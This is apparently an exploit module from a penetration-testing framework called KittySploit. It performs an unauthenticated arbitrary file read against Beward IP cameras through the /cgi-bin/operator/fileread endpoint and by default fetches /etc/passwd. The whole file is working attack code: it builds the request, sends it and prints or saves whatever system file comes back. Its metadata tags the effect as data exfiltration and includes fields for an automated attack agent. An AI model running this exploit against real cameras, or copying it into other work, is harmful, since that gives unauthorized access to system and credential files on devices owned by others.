Beward IP Camera - fileread File Read
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Beward IP camera arbitrary file read via fileread."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.lfi import Lfi
class Module(Auxiliary, Http_client, Lfi):
__info__ = {
'name': 'Beward IP Camera - fileread File Read',
'description': (
'Reads arbitrary files via /cgi-bin/operator/fileread?READ.filePath=.'
),
'author': ['KittySploit Team'],
'platform': Platform.LINUX,
'references': [],
'tags': ['beward', 'camera', 'lfi', 'file-read', 'unauth'],
'agent': {
'risk': 'intrusive',
'effects': ['data_exfiltration'],
'expected_requests': 1,
'reversible': True,
'approval_required': True,
'produces': ['risk_signals'],
'cost': 1.2,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0, 'min_params': 0,
'tech_hints_any': [], 'tech_hints_all': [],
'specializations_any': [], 'risk_signals_any': [],
'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
'confidence_min': {}, 'confidence_min_any': {},
'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [{'capability': 'file_read', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['scanner/http/beward_fileread_detect'],
},
},
}
file_read = OptString('/etc/passwd', 'Absolute remote file path to read', required=True)
output_file = OptString('', 'Local file to write retrieved content', required=False)
output_limit = OptInteger(12000, 'Max chars to print when output_file empty (0=full)', required=False, advanced=True)
def execute(self, file_path: str) -> str:
remote = str(file_path or '').strip()
if not remote.startswith('/'):
remote = '/' + remote
path = f'/cgi-bin/operator/fileread?READ.filePath={remote}'
r = self.http_request(
method='GET',
path=path,
headers={'Accept-Encoding': 'gzip, deflate'},
allow_redirects=False,
)
if not r:
return ''
return r.text or ''
def run(self):
target = str(self.file_read or '/etc/passwd')
print_status(f'Reading {target} via Beward fileread ...')
body = self.execute(target)
if not body:
print_error('Empty response')
return False
out = str(self.output_file or '').strip()
if out:
with open(out, 'w', encoding='utf-8', errors='replace') as fh:
fh.write(body)
print_success(f'Wrote {len(body)} bytes to {out}')
else:
limit = int(self.output_limit or 0)
print_info(body if limit <= 0 else body[:limit])
return True
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10 Aug 2026 06:19Current
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